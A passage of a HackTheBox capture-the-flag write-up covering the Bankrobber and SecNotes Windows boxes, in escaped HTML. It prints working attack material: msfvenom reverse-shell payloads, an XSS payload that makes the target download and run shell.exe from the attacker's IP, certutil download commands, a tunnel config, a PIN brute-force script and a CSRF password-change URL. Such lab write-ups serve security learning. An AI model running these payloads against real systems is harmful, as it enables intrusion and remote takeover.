cmd=(load_file(&amp;#39;C:/TODO/user/transfer.php&amp;#39;));&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Neither path worked. I tried writing a file under xampp first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0158.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I didn&amp;rsquo;t have enough privileges, so I was stuck again. At this point, all I really had were file read and write privileges.&lt;/p&gt;&#10;&lt;p&gt;UDF privilege escalation was also unavailable. You can&amp;rsquo;t escalate when the plugin value is empty. MaridaDB is a fork of mysql, but I couldn&amp;rsquo;t find anything useful about mariadb no matter how much I searched.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0159.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was a dead end. The remaining options were auditing the PHP code or reading root&amp;rsquo;s password and trying password reuse. SMB was still inaccessible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0160.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started reading the code. First I tried the files in the admin directory, then the ones under user, and finally index.php on the home page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0161.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started with the endpoint that could execute cmd, then moved on to the page with the SQL injection from earlier.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0162.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The code is pretty easy to understand, and there&amp;rsquo;s a system function here. I had a strong feeling this was the way in.&lt;/p&gt;&#10;&lt;p&gt;The first restriction requires the username and password to be correct. The second checks that the cmd parameter doesn&amp;rsquo;t contain $( or &amp;amp;, but we can actually bypass that with ||.&lt;/p&gt;&#10;&lt;p&gt;The next check looks at whether the first three characters are dir, but with || that doesn&amp;rsquo;t really matter.&lt;/p&gt;&#10;&lt;p&gt;The main problem is the third check: $_SERVER[&amp;lsquo;REMOTE_ADDR&amp;rsquo;] requires a local request. None of the methods I found could bypass it; the only option seemed to be using a proxy to change the IP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0163.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still no luck.&lt;/p&gt;&#10;&lt;p&gt;Since I couldn&amp;rsquo;t bypass it directly, I followed that thread: maybe I needed to find an SSRF or build a tunnel.&lt;/p&gt;&#10;&lt;p&gt;There was nothing useful in search either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0164.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back over everything and noticed this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0165.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, there was never a directory that needed to be moved. It was just a hint that the xampp directory existed. I was completely, utterly stuck here with no ideas at all. I couldn&amp;rsquo;t build a tunnel through mysql, and I had no username or password for SMB.&lt;/p&gt;&#10;&lt;p&gt;Then I glanced at a writeup and realized I&amp;rsquo;d completely forgotten that the XSS was triggered locally by the administrator. That meant it could trigger SSRF.&lt;/p&gt;&#10;&lt;p&gt;We know files can be written under C:/xampp/, so I built the payload.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.29 LPORT=6666&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;var httpRequest = new XMLHttpRequest();&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.open(&amp;#39;POST&amp;#39;, &amp;#39;http://localhost/admin/backdoorchecker.php&amp;#39;, true);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.setRequestHeader(&amp;#34;Content-type&amp;#34;,&amp;#34;application/x-www-form-urlencoded&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.setRequestHeader(&amp;#34;Cookie&amp;#34;,&amp;#34;id=1; username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;httpRequest.send(&amp;#39;cmd=dir | powershell -c &amp;#34;Invoke-RestMethod -Uri http://10.10.16.29:33333/shell.exe&amp;#34; -OutFile C:/xampp/shell.exe;start C:/xampp/shell.exe&amp;#39;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Triggering it once more worked. I was stuck here for quite a while too, again because I missed a detail. After staring at it forever, I finally noticed that I&amp;rsquo;d been using &lt;a class="link" href="http://localhost/admin/backdoorchecker.php" target="_blank" rel="noopener"&#10; &gt;http://localhost/&lt;/a&gt; as the URL without adding &lt;a class="link" href="http://localhost/admin/backdoorchecker.php" target="_blank" rel="noopener"&#10; &gt;/admin/backdoorchecker.php&lt;/a&gt;. And because I had to wait for it to keep making requests before I could work out what was wrong, this held me up for a long time.&lt;/p&gt;&#10;&lt;p&gt;But the result was good.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0166.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I uploaded winPEASany.exe to take a look around.&lt;/p&gt;&#10;&lt;p&gt;All the passwords had been deleted.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0167.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking at the ports, I noticed one for bankv2.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0168.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I decided to build a tunnel and take a look.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_addr = 10.10.16.29&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[mysql]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type = tcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_ip = 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_port = 910&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remote_port = 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bind_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Since I only needed to forward this one port, there was no need to configure a proxy. Setting up the proxy would have been a hassle anyway, so I skipped it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0169.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked, but required a password.&lt;/p&gt;&#10;&lt;p&gt;I wrote a simple script.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i in {0000..9999}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo $i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo $i | nc 127.0.0.1 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0170.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After 0021, it told us the password was correct.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0171.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It calls the transfer.exe tool here, using an absolute path.&lt;/p&gt;&#10;&lt;p&gt;I could think of four approaches. First, if I could swap out this exe, I could get a shell. Second, if it didn&amp;rsquo;t use an absolute path, I could modify the environment variables. Third, perhaps there was a backup or some way to obtain the program and reverse-engineer it—although reversing it wasn&amp;rsquo;t very realistic. If the source code was available, I could audit it for injection. Fourth, I could get a backup and look for a buffer overflow.&lt;/p&gt;&#10;&lt;p&gt;One: I couldn&amp;rsquo;t replace it because I couldn&amp;rsquo;t access that directory.&lt;/p&gt;&#10;&lt;p&gt;Two: it used an absolute path, so there was nothing I could do.&lt;/p&gt;&#10;&lt;p&gt;Three: there was no backup. I used find and only found files such as transfer.php.&lt;/p&gt;&#10;&lt;p&gt;Four: there was no backup, but I could still test it.&lt;/p&gt;&#10;&lt;p&gt;Then, while I was testing for a buffer overflow, something magical happened.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0172.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It looked like entering letters would overwrite it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0173.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, it could be overwritten. I needed to find the exact offset. It looked a bit like a buffer overflow, though clearly it wasn&amp;rsquo;t quite the same thing.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Testing showed that 32 characters are enough to overwrite it; uppercase and lowercase letters cover 52 positions, so this can be faster&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC:\xampp\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0174.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0175.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box took me several hours and was seriously impressive. I checked a writeup twice while I was stuck trying to get a shell, but both times it was because I hadn&amp;rsquo;t been careful enough and had missed something. I&amp;rsquo;ve done a lot of Linux boxes, so the more general techniques here actually felt manageable. I suspect it was rated Hard because it demands such a broad range of skills: XSS and SQL injection on the external-facing site, XSS+SSRF to get a shell, port forwarding for privilege escalation, writing a bash shell script, and something resembling a buffer overflow. Still, none of the techniques were fundamentally hard to understand. I just need to be more careful next time.&lt;/p&gt;&#10;&lt;h2 id="9secnotes"&gt;&lt;a href="#9secnotes" class="header-anchor"&gt;&lt;/a&gt;9.SecNotes&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0176.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0177.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;None of the three allows anonymous login&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbmap -H 10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -N -L //10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a 10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0178.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a stored XSS in new note.&lt;/p&gt;&#10;&lt;p&gt;Sure enough, just like the previous one, it had to be triggered through contact us.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0179.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;And what I submitted here was:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/1.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script&amp;gt; document.write(&amp;#39;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/2.js&amp;#34;&amp;gt;&amp;#39;); &amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;img src=&amp;#34;http://10.10.16.29:33333/3.js&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;script src=&amp;#34;http://10.10.16.29:33333/4.js&amp;#34;&amp;gt;&amp;lt;/script&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.29:33333/testsuccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Clearly, it executed certutil&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;del&gt;So the commands sent over would be executed.&lt;/del&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.29:33333/Bankrobber/shell.exe C:\shell.exe | start C:\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;del&gt;The target still requested the download, but it never executed. Clearly, the current directory was not writable.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;I kept trying to chain commands but could never get them to execute. Then I realized this was not command execution at all: it automatically clicked any link I submitted.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0180.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Whenever I submitted a link, it would be requested. I wasn&amp;rsquo;t sure whether it saved the file locally, and even if it did, I had no idea where. Since this was a php site, I also submitted an ftshell php file, but no shell came back.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0181.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If this really was XSS, I could still exfiltrate a few things, but I couldn&amp;rsquo;t figure out exactly how it worked. Was php making the request, or was it being launched through php functions such as system or eval?&lt;/p&gt;&#10;&lt;p&gt;After investigating for ages, it turned out to be none of those. If the submitted content contained multiple urls, it visited them separately. If it contained characters such as &amp;lsquo;)$, it would not visit them. At the same time, I found that:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://10.10.10.97/change_pass.php?password=password1&amp;amp;confirm_password=password1&amp;amp;submit=submit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This worked successfully, which made the path forward obvious: send it this URL and have it change the password. We already had the username too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0182.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0183.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0184.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The middle section was probably port knocking, while the section below contained the smb credentials and shared folder.&lt;/p&gt;&#10;&lt;p&gt;I started with the simpler option below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0185.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I downloaded both files. They seemed to point to port 8808, so I checked whether the image contained any steganography, but found nothing. Oddly, when I generated an md5 for the png and searched google, I couldn&amp;rsquo;t find a match. That suggested the image might not be a default asset, but some kind of screenshot instead.&lt;/p&gt;&#10;&lt;p&gt;After thinking about it for a while, I felt I was heading in the wrong direction again. Maybe this was simply the site running on port 8808, and iisstart was the default iis landing page. Time to test it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0186.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked. I wasn&amp;rsquo;t sure what the backend was written in. While running strings on the image, I saw .net inside it, so the backend might have been written in c#. I decided to try asp first, then php if that failed.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x&amp;gt; ./back.asp&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0187.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Strangely, my uploaded back.asp returned a 404 even though it was right there in the directory. At first I thought I had misunderstood and this wasn&amp;rsquo;t the web directory. Then I uploaded a 1.txt file and found that it was still accessible. So was the extension being blocked here? Maybe I needed a bypass.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0188.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried several extensions with no luck at all, so I started trying php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0189.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0190.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem—it parsed successfully. My reverse shell was for linux, though, so I just needed to change that.&lt;/p&gt;&#10;&lt;p&gt;A one-liner:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0191.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It periodically cleared the smb share. I just had to put the shell there, execute it through the webshell, and it would be OK.&lt;/p&gt;&#10;&lt;p&gt;&lt;img 